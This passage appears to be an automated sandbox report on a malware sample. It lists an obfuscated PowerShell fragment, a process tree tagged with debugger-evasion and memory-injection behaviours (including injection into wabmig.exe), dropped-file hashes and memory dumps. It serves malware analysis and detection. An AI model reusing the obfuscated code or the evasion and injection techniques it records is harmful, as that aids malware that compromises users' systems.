rNedraSabrk FelsRedneRobanWauk9Isvr6Fi u,Re.s$ ermMTr,vo lekuBiosrlaboiPe.ptAd ez ejeunpo)C tg ');hjreafledninger $Termostatovnens;"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4668
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Henfoere.Fem && echo t"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2368
            • C:\Program Files (x86)\windows mail\wabmig.exe
              "C:\Program Files (x86)\windows mail\wabmig.exe"
              5⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:3296

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xwxusv43.bmk.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Henfoere.Fem
      Filesize

      428KB

      MD5

      0b2bd7535a362d772acf2a6769ad6537

      SHA1

      e02b3df5f5b62d918a4203f8ec6877e0a67b8af8

      SHA256

      8040306c7feac0f79361f9cd1bdcc50951126e4bd24886af56a96d0639352c78

      SHA512

      abe7c8a183c525197bfc42263ca52efa8be29140d7aad06789135197d0f652d2f63d369e887e1ce50fc4a33549c7bec92655334e2c53069f1a1258d0b90191f1

      Download Submit

    • memory/2128-0-0x00007FF83E053000-0x00007FF83E055000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2128-63-0x00007FF83E050000-0x00007FF83EB11000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2128-12-0x00007FF83E050000-0x00007FF83EB11000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2128-14-0x00007FF83E053000-0x00007FF83E055000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2128-15-0x00007FF83E050000-0x00007FF83EB11000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2128-17-0x00007FF83E050000-0x00007FF83EB11000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2128-10-0x0000016031BA0000-0x0000016031BC2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/2128-43-0x00007FF83E050000-0x00007FF83EB11000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2128-33-0x00007FF83E050000-0x00007FF83EB11000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2128-11-0x00007FF83E050000-0x00007FF83EB11000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3296-64-0x0000000025A90000-0x0000000025AE0000-memory.dmp

      Filesize

      320KB

      Download

    • memory/3296-58-0x0000000000C00000-0x0000000001E54000-memory.dmp

      Filesize

      18.3MB

      Download

    • memory/3296-65-0x0000000025B80000-0x0000000025C12000-memory.dmp

      Filesize

      584KB

      Download

    • memory/3296-59-0x0000000000C00000-0x0000000000C40000-memory.dmp

      Filesize

      256KB

      Download

    • memory/3296-44-0x0000000001E60000-0x0000000006F88000-memory.dmp

      Filesize

      81.2MB

      Download

    • memory/3296-66-0x00000000254C0000-0x00000000254CA000-memory.dmp

      Filesize

      40KB

      Download

    • memory/4668-18-0x0000000005320000-0x0000000005356000-memory.dmp

      Filesize

      216KB

      Download

    • memory/4668-38-0x0000000007B60000-0x0000000007BF6000-memory.dmp

      Filesize

      600KB

      Download

    • memory/4668-39-0x0000000007AF0000-0x0000000007B12000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4668-40-0x0000000008CF0000-0x0000000009294000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/4668-37-0x0000000006E70000-0x0000000006E8A000-memory.dmp

      Filesize

      104KB

      Download

    • memory/4668-42-0x00000000092A0000-0x000000000E3C8000-memory.dmp

      Filesize

      81.2MB

      Download

    • memory/4668-36-0x00000000080C0000-0x000000000873A000-memory.dmp

      Filesize

      6.5MB

      Download

    • memory/4668-35-0x0000000006910000-0x000000000695C000-memory.dmp

      Filesize

      304KB

      Download

    • memory/4668-34-0x00000000068C0000-0x00000000068DE000-memory.dmp

      Filesize

      120KB

      Download

    • memory/4668-32-0x0000000006370000-0x00000000066C4000-memory.dmp

      Filesize

      3.3MB

      Download

    • memory/4668-22-0x0000000006180000-0x00000000061E6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4668-21-0x0000000006110000-0x0000000006176000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4668-20-0x00000000059E0000-0x0000000005A02000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4668-19-0x0000000005AE0000-0x0000000006108000-memory.dmp

      Filesize

      6.2MB

      Download